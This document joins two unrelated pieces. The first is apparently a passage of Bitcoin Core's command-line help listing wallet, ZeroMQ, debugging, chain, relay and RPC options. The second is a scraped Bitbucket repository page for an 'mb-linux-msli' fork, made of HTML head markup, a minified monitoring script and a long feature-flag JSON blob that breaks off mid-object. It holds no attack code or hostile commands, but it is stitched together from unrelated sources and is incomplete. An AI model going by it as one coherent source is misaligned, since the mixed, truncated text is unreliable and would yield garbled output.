-walletnotify=<cmd> Execute command when a wallet transaction changes. %s in cmd is replaced by TxID and %w is replaced by wallet name. %w is not currently implemented on windows. On systems where %w is supported, it should NOT be quoted because this would break shell escaping used to invoke the command. -walletrbf Send transactions with full-RBF opt-in enabled (RPC only, default: 0) ZeroMQ notification options: -zmqpubhashblock=<address> Enable publish hash block in <address> -zmqpubhashblockhwm=<n> Set publish hash block outbound message high water mark (default: 1000) -zmqpubhashtx=<address> Enable publish hash transaction in <address> -zmqpubhashtxhwm=<n> Set publish hash transaction outbound message high water mark (default: 1000) -zmqpubrawblock=<address> Enable publish raw block in <address> -zmqpubrawblockhwm=<n> Set publish raw block outbound message high water mark (default: 1000) -zmqpubrawtx=<address> Enable publish raw transaction in <address> -zmqpubrawtxhwm=<n> Set publish raw transaction outbound message high water mark (default: 1000) -zmqpubsequence=<address> Enable publish hash block and tx sequence in <address> -zmqpubsequencehwm=<n> Set publish hash sequence message high water mark (default: 1000) Debugging/Testing options: -debug=<category> Output debugging information (default: -nodebug, supplying <category> is optional). If <category> is not supplied or if <category> = 1, output all debugging information. <category> can be: net, tor, mempool, http, bench, zmq, walletdb, rpc, estimatefee, addrman, selectcoins, reindex, cmpctblock, rand, prune, proxy, mempoolrej, libevent, coindb, qt, leveldb, validation. -debugexclude=<category> Exclude debugging information for a category. Can be used in conjunction with -debug=1 to output debug logs for all categories except one or more specified categories. -help-debug Print help message with debugging options and exit -logips Include IP addresses in debug output (default: 0) -logthreadnames Prepend debug output with name of the originating thread (only available on platforms supporting thread_local) (default: 0) -logtimestamps Prepend debug output with timestamp (default: 1) -maxtxfee=<amt> Maximum total fees (in BTC) to use in a single wallet transaction; setting this too low may abort large transactions (default: 0.10) -printtoconsole Send trace/debug info to console (default: 1 when no -daemon. To disable logging to file, set -nodebuglogfile) -shrinkdebugfile Shrink debug.log file on client startup (default: 1 when no -debug) -uacomment=<cmt> Append comment to the user agent string Chain selection options: -chain=<chain> Use the chain <chain> (default: main). Allowed values: main, test, signet, regtest -signet Use the signet chain. Equivalent to -chain=signet. Note that the network is defined by the -signetchallenge parameter -signetchallenge Blocks must satisfy the given script to be considered valid (only for signet networks; defaults to the global default signet test network challenge) -signetseednode Specify a seed node for the signet network, in the hostname[:port] format, e.g. sig.net:1234 (may be used multiple times to specify multiple seed nodes; defaults to the global default signet test network seed node(s)) -testnet Use the test chain. Equivalent to -chain=test. Node relay options: -bytespersigop Equivalent bytes per sigop in transactions for relay and mining (default: 20) -datacarrier Relay and mine data carrier transactions (default: 1) -datacarriersize Maximum size of data in data carrier transactions we relay and mine (default: 83) -minrelaytxfee=<amt> Fees (in BTC/kB) smaller than this are considered zero fee for relaying, mining and transaction creation (default: 0.00001) -whitelistforcerelay Add 'forcerelay' permission to whitelisted inbound peers with default permissions. This will relay transactions even if the transactions were already in the mempool. (default: 0) -whitelistrelay Add 'relay' permission to whitelisted inbound peers with default permissions. This will accept relayed transactions even when not relaying transactions (default: 1) Block creation options: -blockmaxweight=<n> Set maximum BIP141 block weight (default: 3996000) -blockmintxfee=<amt> Set lowest fee rate (in BTC/kB) for transactions to be included in block creation. (default: 0.00001) RPC server options: -rest Accept public REST requests (default: 0) -rpcallowip=<ip> Allow JSON-RPC connections from specified source. Valid for <ip> are a single IP (e.g. 1.2.3.4), a network/netmask (e.g. 1.2.3.4/255.255.255.0) or a network/CIDR (e.g. 1.2.3.4/24). This option can be specified multiple times -rpcauth=<userpw> Username and HMAC-SHA-256 hashed password for JSON-RPC connections. The field <userpw> comes in the format: <USERNAME>:<SALT>$<HASH>. A canonical python script is included in share/rpcauth. The client then connects normally using the rpcuser=<USERNAME>/rpcpassword=<PASSWORD> pair of arguments. This option can be specified multiple times -rpcbind=<addr>[:port] Bind to given address to listen for JSON-RPC connections. Do not expose the RPC server to untrusted networks such as the public internet! This option is ignored unless -rpcallowip is also passed. Port is optional and overrides -rpcport. Use [host]:port notation for IPv6. This option can be specified multiple times (default: 127.0.0.1 and ::1 i.e., localhost) -rpccookiefile=<loc> Location of the auth cookie. Relative paths will be prefixed by a net-specific datadir location. (default: data dir) -rpcpassword=<pw> Password for JSON-RPC connections -rpcport=<port> Listen for JSON-RPC connections on <port> (default: 8332, testnet: 18332, signet: 38332, regtest: 18443) -rpcserialversion Sets the serialization of raw transaction or block hex returned in non-verbose mode, non-segwit(0) or segwit(1) (default: 1) -rpcthreads=<n> Set the number of threads to service RPC calls (default: 4) -rpcuser=<user> Username for JSON-RPC connections -rpcwhitelist=<whitelist> Set a whitelist to filter incoming RPC calls for a specific user. The field <whitelist> comes in the format: <USERNAME>:<rpc 1>,<rpc 2>,...,<rpc n>. If multiple whitelists are set for a given user, they are set-intersected. See -rpcwhitelistdefault documentation for information on default whitelist behavior. -rpcwhitelistdefault Sets default behavior for rpc whitelisting. Unless rpcwhitelistdefault is set to 0, if any -rpcwhitelist is set, the rpc server acts as if all rpc users are subject to empty-unless-otherwise-specified whitelists. If rpcwhitelistdefault is set to 1 and no -rpcwhitelist is set, rpc server acts as if all rpc users are subject to empty whitelists. -server Accept command line and JSON-RPC commands ~ $

<!DOCTYPE html> <html lang="en"> <head> <title>Bitbucket</title> <meta id="bb-bootstrap" data-current-user="{"isKbdShortcutsEnabled": true, "isSshEnabled": false, "isAuthenticated": false}" /> <meta name="frontbucket-version" content="production"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <script nonce="xxI7cPsOVRt9B81s" type="text/javascript">(window.NREUM||(NREUM={})).loader_config={licenseKey:"a2cef8c3d3",applicationID:"548124220"};window.NREUM||(NREUM={}),__nr_require=function(e,t,n){function r(n){if(!t[n]){var i=t[n]={exports:{}};e[n][0].call(i.exports,function(t){var i=e[n][1][t];return r(i||t)},i,i.exports)}return t[n].exports}if("function"==typeof __nr_require)return __nr_require;for(var i=0;i<n.length;i++)r(n[i]);return r}({1:[function(e,t,n){function r(){}function i(e,t,n){return function(){return o(e,[u.now()].concat(c(arguments)),t?null:this,n),t?void 0:this}}var o=e("handle"),a=e(7),c=e(8),f=e("ee").get("tracer"),u=e("loader"),s=NREUM;"undefined"==typeof window.newrelic&&(newrelic=s);var d=["setPageViewName","setCustomAttribute","setErrorHandler","finished","addToTrace","inlineHit","addRelease"],p="api-",l=p+"ixn-";a(d,function(e,t){s[t]=i(p+t,!0,"api")}),s.addPageAction=i(p+"addPageAction",!0),s.setCurrentRouteName=i(p+"routeName",!0),t.exports=newrelic,s.interaction=function(){return(new r).get()};var m=r.prototype={createTracer:function(e,t){var n={},r=this,i="function"==typeof t;return o(l+"tracer",[u.now(),e,n],r),function(){if(f.emit((i?"":"no-")+"fn-start",[u.now(),r,i],n),i)try{return t.apply(this,arguments)}catch(e){throw f.emit("fn-err",[arguments,this,e],n),e}finally{f.emit("fn-end",[u.now()],n)}}}};a("actionText,setName,setAttribute,save,ignore,onEnd,getContext,end,get".split(","),function(e,t){m[t]=i(l+t)}),newrelic.noticeError=function(e,t){"string"==typeof e&&(e=new Error(e)),o("err",[e,u.now(),!1,t])}},{}],2:[function(e,t,n){function r(){return c.exists&&performance.now?Math.round(performance.now()):(o=Math.max((new Date).getTime(),o))-a}function i(){return o}var o=(new Date).getTime(),a=o,c=e(9);t.exports=r,t.exports.offset=a,t.exports.getLastTimestamp=i},{}],3:[function(e,t,n){function r(e){return!(!e||!e.protocol||"file:"===e.protocol)}t.exports=r},{}],4:[function(e,t,n){function r(e,t){var n=e.getEntries();n.forEach(function(e){"first-paint"===e.name?d("timing",["fp",Math.floor(e.startTime)]):"first-contentful-paint"===e.name&&d("timing",["fcp",Math.floor(e.startTime)])})}function i(e,t){var n=e.getEntries();n.length>0&&d("lcp",[n[n.length-1]])}function o(e){e.getEntries().forEach(function(e){e.hadRecentInput||d("cls",[e])})}function a(e){if(e instanceof m&&!g){var t=Math.round(e.timeStamp),n={type:e.type};t<=p.now()?n.fid=p.now()-t:t>p.offset&&t<=Date.now()?(t-=p.offset,n.fid=p.now()-t):t=p.now(),g=!0,d("timing",["fi",t,n])}}function c(e){d("pageHide",[p.now(),e])}if(!("init"in NREUM&&"page_view_timing"in NREUM.init&&"enabled"in NREUM.init.page_view_timing&&NREUM.init.page_view_timing.enabled===!1)){var f,u,s,d=e("handle"),p=e("loader"),l=e(6),m=NREUM.o.EV;if("PerformanceObserver"in window&&"function"==typeof window.PerformanceObserver){f=new PerformanceObserver(r);try{f.observe({entryTypes:["paint"]})}catch(v){}u=new PerformanceObserver(i);try{u.observe({entryTypes:["largest-contentful-paint"]})}catch(v){}s=new PerformanceObserver(o);try{s.observe({type:"layout-shift",buffered:!0})}catch(v){}}if("addEventListener"in document){var g=!1,w=["click","keydown","mousedown","pointerdown","touchstart"];w.forEach(function(e){document.addEventListener(e,a,!1)})}l(c)}},{}],5:[function(e,t,n){function r(e,t){if(!i)return!1;if(e!==i)return!1;if(!t)return!0;if(!o)return!1;for(var n=o.split("."),r=t.split("."),a=0;a<r.length;a++)if(r[a]!==n[a])return!1;return!0}var i=null,o=null,a=/Version\/(\S+)\s+Safari/;if(navigator.userAgent){var c=navigator.userAgent,f=c.match(a);f&&c.indexOf("Chrome")===-1&&c.indexOf("Chromium")===-1&&(i="Safari",o=f[1])}t.exports={agent:i,version:o,match:r}},{}],6:[function(e,t,n){function r(e){function t(){e(a&&document[a]?document[a]:document[i]?"hidden":"visible")}"addEventListener"in document&&o&&document.addEventListener(o,t,!1)}t.exports=r;var i,o,a;"undefined"!=typeof document.hidden?(i="hidden",o="visibilitychange",a="visibilityState"):"undefined"!=typeof document.msHidden?(i="msHidden",o="msvisibilitychange"):"undefined"!=typeof document.webkitHidden&&(i="webkitHidden",o="webkitvisibilitychange",a="webkitVisibilityState")},{}],7:[function(e,t,n){function r(e,t){var n=[],r="",o=0;for(r in e)i.call(e,r)&&(n[o]=t(r,e[r]),o+=1);return n}var i=Object.prototype.hasOwnProperty;t.exports=r},{}],8:[function(e,t,n){function r(e,t,n){t||(t=0),"undefined"==typeof n&&(n=e?e.length:0);for(var r=-1,i=n-t||0,o=Array(i<0?0:i);++r<i;)o[r]=e[t+r];return o}t.exports=r},{}],9:[function(e,t,n){t.exports={exists:"undefined"!=typeof window.performance&&window.performance.timing&&"undefined"!=typeof window.performance.timing.navigationStart}},{}],ee:[function(e,t,n){function r(){}function i(e){function t(e){return e&&e instanceof r?e:e?u(e,f,a):a()}function n(n,r,i,o,a){if(a!==!1&&(a=!0),!l.aborted||o){e&&a&&e(n,r,i);for(var c=t(i),f=v(n),u=f.length,s=0;s<u;s++)f[s].apply(c,r);var p=d[h[n]];return p&&p.push([b,n,r,c]),c}}function o(e,t){y[e]=v(e).concat(t)}function m(e,t){var n=y[e];if(n)for(var r=0;r<n.length;r++)n[r]===t&&n.splice(r,1)}function v(e){return y[e]||[]}function g(e){return p[e]=p[e]||i(n)}function w(e,t){s(e,function(e,n){t=t||"feature",h[n]=t,t in d||(d[t]=[])})}var y={},h={},b={on:o,addEventListener:o,removeEventListener:m,emit:n,get:g,listeners:v,context:t,buffer:w,abort:c,aborted:!1};return b}function o(e){return u(e,f,a)}function a(){return new r}function c(){(d.api||d.feature)&&(l.aborted=!0,d=l.backlog={})}var f="nr@context",u=e("gos"),s=e(7),d={},p={},l=t.exports=i();t.exports.getOrSetContext=o,l.backlog=d},{}],gos:[function(e,t,n){function r(e,t,n){if(i.call(e,t))return e[t];var r=n();if(Object.defineProperty&&Object.keys)try{return Object.defineProperty(e,t,{value:r,writable:!0,enumerable:!1}),r}catch(o){}return e[t]=r,r}var i=Object.prototype.hasOwnProperty;t.exports=r},{}],handle:[function(e,t,n){function r(e,t,n,r){i.buffer([e],r),i.emit(e,t,n)}var i=e("ee").get("handle");t.exports=r,r.ee=i},{}],id:[function(e,t,n){function r(e){var t=typeof e;return!e||"object"!==t&&"function"!==t?-1:e===window?0:a(e,o,function(){return i++})}var i=1,o="nr@id",a=e("gos");t.exports=r},{}],loader:[function(e,t,n){function r(){if(!E++){var e=x.info=NREUM.info,t=l.getElementsByTagName("script")[0];if(setTimeout(u.abort,3e4),!(e&&e.licenseKey&&e.applicationID&&t))return u.abort();f(h,function(t,n){e[t]||(e[t]=n)});var n=a();c("mark",["onload",n+x.offset],null,"api"),c("timing",["load",n]);var r=l.createElement("script");r.src="https://"+e.agent,t.parentNode.insertBefore(r,t)}}function i(){"complete"===l.readyState&&o()}function o(){c("mark",["domContent",a()+x.offset],null,"api")}var a=e(2),c=e("handle"),f=e(7),u=e("ee"),s=e(5),d=e(3),p=window,l=p.document,m="addEventListener",v="attachEvent",g=p.XMLHttpRequest,w=g&&g.prototype;if(d(p.location)){NREUM.o={ST:setTimeout,SI:p.setImmediate,CT:clearTimeout,XHR:g,REQ:p.Request,EV:p.Event,PR:p.Promise,MO:p.MutationObserver};var y=""+location,h={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net",agent:"js-agent.newrelic.com/nr-1208.min.js"},b=g&&w&&w[m]&&!/CriOS/.test(navigator.userAgent),x=t.exports={offset:a.getLastTimestamp(),now:a,origin:y,features:{},xhrWrappable:b,userAgent:s};e(1),e(4),l[m]?(l[m]("DOMContentLoaded",o,!1),p[m]("load",r,!1)):(l[v]("onreadystatechange",i),p[v]("onload",r)),c("mark",["firstbyte",a.getLastTimestamp()],null,"api");var E=0}},{}],"wrap-function":[function(e,t,n){function r(e,t){function n(t,n,r,f,u){function nrWrapper(){var o,a,s,p;try{a=this,o=d(arguments),s="function"==typeof r?r(o,a):r||{}}catch(l){i([l,"",[o,a,f],s],e)}c(n+"start",[o,a,f],s,u);try{return p=t.apply(a,o)}catch(m){throw c(n+"err",[o,a,m],s,u),m}finally{c(n+"end",[o,a,p],s,u)}}return a(t)?t:(n||(n=""),nrWrapper[p]=t,o(t,nrWrapper,e),nrWrapper)}function r(e,t,r,i,o){r||(r="");var c,f,u,s="-"===r.charAt(0);for(u=0;u<t.length;u++)f=t[u],c=e[f],a(c)||(e[f]=n(c,s?f+r:r,i,f,o))}function c(n,r,o,a){if(!m||t){var c=m;m=!0;try{e.emit(n,r,o,t,a)}catch(f){i([f,n,r,o],e)}m=c}}return e||(e=s),n.inPlace=r,n.flag=p,n}function i(e,t){t||(t=s);try{t.emit("internal-error",e)}catch(n){}}function o(e,t,n){if(Object.defineProperty&&Object.keys)try{var r=Object.keys(e);return r.forEach(function(n){Object.defineProperty(t,n,{get:function(){return e[n]},set:function(t){return e[n]=t,t}})}),t}catch(o){i([o],n)}for(var a in e)l.call(e,a)&&(t[a]=e[a]);return t}function a(e){return!(e&&e instanceof Function&&e.apply&&!e[p])}function c(e,t){var n=t(e);return n[p]=e,o(e,n,s),n}function f(e,t,n){var r=e[t];e[t]=c(r,n)}function u(){for(var e=arguments.length,t=new Array(e),n=0;n<e;++n)t[n]=arguments[n];return t}var s=e("ee"),d=e(8),p="nr@original",l=Object.prototype.hasOwnProperty,m=!1;t.exports=r,t.exports.wrapFunction=c,t.exports.wrapInPlace=f,t.exports.argsToArray=u},{}]},{},["loader"]);</script> <meta name="bb-env" content="production" /> <meta id="bb-canon-url" name="bb-canon-url" content="https://bitbucket.org"> <meta name="bb-api-canon-url" content="https://api.bitbucket.org"> <meta name="bitbucket-commit-hash" content="10b0d91b991b"> <meta name="bb-app-node" content="app-3001"> <meta name="bb-dce-env" content="ASH2"> <meta name="bb-view-name" content="bitbucket.apps.repo2.views.SourceView"> <meta name="ignore-whitespace" content="False"> <meta name="tab-size" content="None"> <meta name="locale" content="en"> <meta name="application-name" content="Bitbucket"> <meta name="apple-mobile-web-app-title" content="Bitbucket"> <meta name="slack-app-id" content="A8W8QLZD1"> <meta name="statuspage-api-host" content="https://bqlf8qjztdtr.statuspage.io"> <meta name="theme-color" content="#0049B0"> <meta name="msapplication-TileColor" content="#0052CC"> <meta name="msapplication-TileImage" content="https://d301sr5gafysq2.cloudfront.net/10b0d91b991b/img/logos/bitbucket/mstile-150x150.png"> <link rel="apple-touch-icon" sizes="180x180" type="image/png" href="https://d301sr5gafysq2.cloudfront.net/10b0d91b991b/img/logos/bitbucket/apple-touch-icon.png"> <link rel="icon" sizes="192x192" type="image/png" href="https://d301sr5gafysq2.cloudfront.net/10b0d91b991b/img/logos/bitbucket/android-chrome-192x192.png"> <link rel="icon" sizes="16x16 24x24 32x32 64x64" type="image/x-icon" href="/favicon.ico?v=2"> <link rel="mask-icon" href="https://d301sr5gafysq2.cloudfront.net/10b0d91b991b/img/logos/bitbucket/safari-pinned-tab.svg" color="#0052CC"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Bitbucket"> <meta name="description" content=""> <meta name="bb-single-page-app" content="true"> <link rel="stylesheet" href="https://d301sr5gafysq2.cloudfront.net/frontbucket/assets/present/vendor.f4e8952a.css"> <script nonce="xxI7cPsOVRt9B81s"> if (window.performance) { window.performance.okayToSendMetrics = !document.hidden && 'onvisibilitychange' in document; if (window.performance.okayToSendMetrics) { window.addEventListener('visibilitychange', function () { if (document.hidden) { window.performance.okayToSendMetrics = false; } }); } } </script> </head> <body> <div id="root"> <script nonce="xxI7cPsOVRt9B81s"> window.__webpack_public_path__ = "https://d301sr5gafysq2.cloudfront.net/frontbucket/assets/present/"; </script> </div> <script nonce="xxI7cPsOVRt9B81s"> window.__sentry__ = {"dsn": "https://2dcda83904474d8c86928ebbfa1ab294@sentry.io/1480772", "environment": "production", "tags": {"puppet_env": "production", "dc_location": "ash2", "service": "gu-bb", "revision": "10b0d91b991b"}}; window.__initial_state__ = {"section": {"repository": {"connectActions": [], "cloneProtocol": "https", "currentRepository": {"scm": "git", "website": "https://github.com/jdkoftinoff/mb-linux-msli", "uuid": "{7fe183eb-5a1e-43c1-af4a-d085585c9537}", "links": {"clone": [{"href": "https://bitbucket.org/__wp__/mb-linux-msli.git", "name": "https"}, {"href": "git@bitbucket.org:__wp__/mb-linux-msli.git", "name": "ssh"}], "self": {"href": "https://bitbucket.org/!api/2.0/repositories/__wp__/mb-linux-msli"}, "html": {"href": "https://bitbucket.org/__wp__/mb-linux-msli"}, "avatar": {"href": "https://bytebucket.org/ravatar/%7B7fe183eb-5a1e-43c1-af4a-d085585c9537%7D?ts=c"}}, "name": "mb-linux-msli", "project": {"description": "Project created by Bitbucket for __WP__", "links": {"self": {"href": "https://bitbucket.org/!api/2.0/workspaces/__wp__/projects/PROJ"}, "html": {"href": "https://bitbucket.org/__wp__/workspace/projects/PROJ"}, "avatar": {"href": "https://bitbucket.org/account/user/__wp__/projects/PROJ/avatar/32?ts=1447453979"}}, "name": "Untitled project", "created_on": "2015-11-13T22:32:59.539281+00:00", "key": "PROJ", "updated_on": "2015-11-13T22:32:59.539335+00:00", "owner": {"username": "__wp__", "type": "team", "display_name": "__WP__", "uuid": "{55ded115-598c-4864-b0e7-cdef05771294}", "links": {"self": {"href": "https://bitbucket.org/!api/2.0/teams/%7B55ded115-598c-4864-b0e7-cdef05771294%7D"}, "html": {"href": "https://bitbucket.org/%7B55ded115-598c-4864-b0e7-cdef05771294%7D/"}, "avatar": {"href": "https://bitbucket.org/account/__wp__/avatar/"}}}, "workspace": {"name": "__WP__", "type": "workspace", "uuid": "{55ded115-598c-4864-b0e7-cdef05771294}", "links": {"self": {"href": "https://bitbucket.org/!api/2.0/workspaces/__wp__"}, "html": {"href": "https://bitbucket.org/__wp__/"}, "avatar": {"href": "https://bitbucket.org/workspaces/__wp__/avatar/?ts=1543468984"}}, "slug": "__wp__"}, "type": "project", "is_private": false, "uuid": "{e060f8c0-a44d-4706-9d5b-b11f3b7f8ea7}"}, "language": "c", "mainbranch": {"name": "master"}, "full_name": "__wp__/mb-linux-msli", "owner": {"username": "__wp__", "display_name": "__WP__", "uuid": "{55ded115-598c-4864-b0e7-cdef05771294}", "links": {"self": {"href": "https://bitbucket.org/!api/2.0/teams/%7B55ded115-598c-4864-b0e7-cdef05771294%7D"}, "html": {"href": "https://bitbucket.org/%7B55ded115-598c-4864-b0e7-cdef05771294%7D/"}, "avatar": {"href": "https://bitbucket.org/account/__wp__/avatar/"}}, "is_active": true, "created_on": "2012-09-12T18:04:32.423010+00:00", "type": "team", "properties": {}, "has_2fa_enabled": null}, "updated_on": "2012-09-23T15:01:03.144649+00:00", "type": "repository", "slug": "mb-linux-msli", "is_private": false, "description": "Forked from https://github.com/jdkoftinoff/mb-linux-msli."}, "mirrors": [], "menuItems": [{"analytics_label": "repository.source", "is_client_link": true, "icon_class": "icon-source", "target": "_self", "weight": 200, "url": "/__wp__/mb-linux-msli/src", "tab_name": "source", "can_display": true, "label": "Source", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": ["/diff", "/history-node"], "id": "repo-source-link", "type": "menu_item", "children": [], "icon": "icon-source"}, {"analytics_label": "repository.commits", "is_client_link": true, "icon_class": "icon-commits", "target": "_self", "weight": 300, "url": "/__wp__/mb-linux-msli/commits/", "tab_name": "commits", "can_display": true, "label": "Commits", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-commits-link", "type": "menu_item", "children": [], "icon": "icon-commits"}, {"analytics_label": "repository.branches", "is_client_link": true, "icon_class": "icon-branches", "target": "_self", "weight": 400, "url": "/__wp__/mb-linux-msli/branches/", "tab_name": "branches", "can_display": true, "label": "Branches", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-branches-link", "type": "menu_item", "children": [], "icon": "icon-branches"}, {"analytics_label": "repository.pullrequests", "is_client_link": true, "icon_class": "icon-pull-requests", "target": "_self", "weight": 500, "url": "/__wp__/mb-linux-msli/pull-requests/", "tab_name": "pullrequests", "can_display": true, "label": "Pull requests", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-pullrequests-link", "type": "menu_item", "children": [], "icon": "icon-pull-requests"}, {"analytics_label": "repository.jira", "is_client_link": true, "icon_class": "icon-jira", "target": "_self", "weight": 600, "url": "/__wp__/mb-linux-msli/jira", "tab_name": "jira", "can_display": true, "label": "Jira issues", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-jira-link", "type": "menu_item", "children": [], "icon": "icon-jira"}, {"analytics_label": "repository.downloads", "is_client_link": false, "icon_class": "icon-downloads", "target": "_self", "weight": 800, "url": "/__wp__/mb-linux-msli/downloads/", "tab_name": "downloads", "can_display": true, "label": "Downloads", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-downloads-link", "type": "menu_item", "children": [], "icon": "icon-downloads"}], "bitbucketActions": [{"analytics_label": "repository.clone", "is_client_link": false, "icon_class": "icon-clone", "target": "_self", "weight": 100, "url": "#clone", "tab_name": "clone", "can_display": true, "label": "<strong>Clone<\/strong> this repository", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-clone-button", "type": "menu_item", "children": [], "icon": "icon-clone"}, {"analytics_label": "repository.compare", "is_client_link": false, "icon_class": "aui-icon-small aui-iconfont-devtools-compare", "target": "_self", "weight": 400, "url": "/__wp__/mb-linux-msli/branches/compare", "tab_name": "compare", "can_display": true, "label": "<strong>Compare<\/strong> branches or tags", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-compare-link", "type": "menu_item", "children": [], "icon": "aui-icon-small aui-iconfont-devtools-compare"}, {"analytics_label": "repository.fork", "is_client_link": false, "icon_class": "icon-fork", "target": "_self", "weight": 500, "url": "/__wp__/mb-linux-msli/fork", "tab_name": "fork", "can_display": true, "label": "<strong>Fork<\/strong> this repository", "is_premium": null, "is_dropdown_item": false, "anchor": true, "badge_label": null, "analytics_payload": {}, "matching_url_prefixes": [], "id": "repo-fork-link", "type": "menu_item", "children": [], "icon": "icon-fork"}], "activeMenuItem": "source"}}, "global": {"needs_marketing_consent": false, "features": {"fd-send-webhooks-to-webhook-processor": true, "exp-share-to-invite-variation": false, "allocate-with-regions": true, "frontbucket-eager-dispatching-of-exited-code-review": true, "orochi-git-diff-refactor": true, "use-elasticache-lsn-storage": true, "workspaces-api-proxy": true, "webhook_encryption_disabled": true, "uninstall-dvcs-addon-only-when-jira-is-removed": true, "log-asap-errors": true, "connect-iframe-no-sub": true, "support-sending-custom-events-to-the-webhook-processor": true, "sync-aid-revoked-to-workspace": true, "new-analytics-cdn": true, "nav-add-file": false, "custom-default-branch-name-repo-create": true, "allow-users-members-endpoint": true, "remove-deactivated-users-from-followers": true, "whitelisted_throttle_exemption": true, "api-diff-caching": true, "hot-91446-add-tracing-x-b3": true, "reset-changes-requested-status": true, "provision-workspaces-in-hams": true, "provisioning-skip-workspace-creation": true, "record-site-addon-version": true, "restrict-commit-author-data": true, "enable-jwt-repo-filtering": true, "reviewer-status": true, "fd-add-gitignore-dropdown-on-create-repo-page": true, "repo-show-uuid": false, "workspace-member-set-last-accessed": true, "provisioning-install-pipelines-addon": true, "expand-accesscontrol-cache-key": true, "disable-hg": true, "new-code-review": true, "orochi-disable-hooks-with-lockid": true, "fd-prs-client-cache-fallback": true, "fd-ie-deprecation-phase-one": true, "clone-in-xcode": true, "enable-merge-bases-api": true, "bbc.core.disable-repository-statuses-fetch": false, "bms-repository-no-finalize": true, "use-moneybucket": true, "spa-repo-settings--repo-details": true, "use-py-hams-client-asap": true, "sync-workspace-user-active": true, "fetch-all-relevant-jira-projects": true, "connect-iframe-sandbox": true, "nav-next-settings": true, "auth-flow-adg3": true, "consenthub-config-endpoint-update": true, "new-code-review-onboarding-experience": true, "disable-repository-replication-task": true, "lookup-pr-approvers-from-prs": true, "orochi-add-custom-backend": true, "null-mainbranch-implies-none": true, "bbc.core.pride-logo": false, "pr_post_build_merge": true, "fd-ie-deprecation-phase-two": true, "workspace-ui": true, "provisioning-auto-login": true, "bbcdev-13546-caching-defaults": true, "hide-price-annual": true, "fd-jira-compatible-issue-export": true, "account-switcher": true, "user-mentions-repo-filtering": true, "spa-repo-settings--access-keys": true, "read-only-message-migrations": true, "free-daily-repo-limit": true, "svg-based-qr-code": true, "allow-cloud-session": true, "orochi-custom-default-branch-name-repo-create": true, "fd-overview-page-pr-filter-buttons": true, "show-upgrade-plans-banner": true}, "locale": "en", "geoip_country": null, "targetFeatures": {"fd-send-webhooks-to-webhook-processor": true, "orochi-large-merge-message-support": true, "allocate-with-regions": true, "frontbucket-eager-dispatching-of-exited-code-review": true, "orochi-git-diff-refactor": true, "fd-repository-page-loading-error-guard": true, "workspaces-api-proxy": true, "webhook_encryption_disabled": true, "uninstall-dvcs-addon-only-when-jira-is-removed": true, "whitelisted_throttle_exemption": true, "connect-iframe-no-sub": true, "support-sending-custom-events-to-the-webhook-processor": true, "sync-aid-revoked-to-workspace": true, "new-analytics-cdn": true, "log-asap-errors": true, "custom-default-branch-name-repo-create": true, "allow-users-members-endpoint": true, "remove-deactivated-users-from-followers": true, "expand-accesscontrol-cache-key": true, "api-diff-caching": true, "prlinks-installer": true, "rm-empty-ref-dirs-on-push": true, "reset-changes-requested-status": true, "provision-workspaces-in-hams": true, "provisioning-skip-workspace-creation": true, "record-site-addon-version": true, "restrict-commit-author-data": true, "enable-jwt-repo-filtering": true, "show-banner-about-new-review-experience": true, "enable-merge-bases-api": true, "account-switcher": true, "reviewer-status": true, "fd-add-gitignore-dropdown-on-create-repo-page": true, "use-elasticache-lsn-storage": true, "workspace-member-set-last-accessed": true, "provisioning-install-pipelines-addon": true, "consenthub-config-endpoint-update": true, "disable-hg": true, "new-code-review": true, "orochi-disable-hooks-with-lockid": true, "show-pr-update-activity-changes": true, "fd-ie-deprecation-phase-one": true, "clone-in-xcode": true, "fd-undo-last-push": false, "bms-repository-no-finalize": true, "exp-new-user-survey": true, "use-moneybucket": true, "spa-repo-settings--repo-details": true, "use-py-hams-client-asap": true, "atlassian-editor": true, "sync-workspace-user-active": true, "fetch-all-relevant-jira-projects": true, "hot-91446-add-tracing-x-b3": true, "connect-iframe-sandbox": true, "nav-next-settings": true, "auth-flow-adg3": true, "view-source-filtering-upon-timeout": true, "new-code-review-onboarding-experience": true, "disable-repository-replication-task": true, "lookup-pr-approvers-from-prs": true, "orochi-add-custom-backend": true, "null-mainbranch-implies-none": true, "fd-prs-client-cache-fallback": true, "pr_post_build_merge": true, "fd-ie-deprecation-phase-two": true, "workspace-ui": true, "provisioning-auto-login": true, "bbcdev-13546-caching-defaults": true, "hide-price-annual": true, "fd-jira-compatible-issue-export": true, "enable-fx3-client": true, "spa-repo-settings--access-keys": true, "read-only-message-migrations": true, "free-daily-repo-limit": true, "svg-based-qr-code": true, "allow-cloud-session": true, "orochi-custom-default-branch-name-repo-create": true, "markdown-embedded-html": false, "fd-overview-page-pr-filter-buttons": true, "show-upgrade-plans-banner": true}, "isFocusedTask": false, "browser_monitoring": true, "targetUser": {"username": "__wp__", "display_name": "__WP__", "uuid": "{55ded115-598c-4864-b0e7-cdef05771294}", "links": {"self": {"href": "https://bitbucket.org/!api/2.0/teams/%7B55ded115-598c-4864-b0e7-cdef05771294%7D"}, "html": {"href": "https://bitbucket.org/%7B55ded115-598c-4864-b0e7-cdef05771294%7D/"}, "avatar": {"href": "https://bitbucket.org/account/__wp__/avatar/"}}, "is_active": true, "created_on": "2012-09-12T18:04:32.423010+00:00", "type": "team", "properties": {}, "has_2fa_enabled": null}, "is_mobile_user_agent": false, "flags": [], "site_message": "", "isNavigationOpen": true, 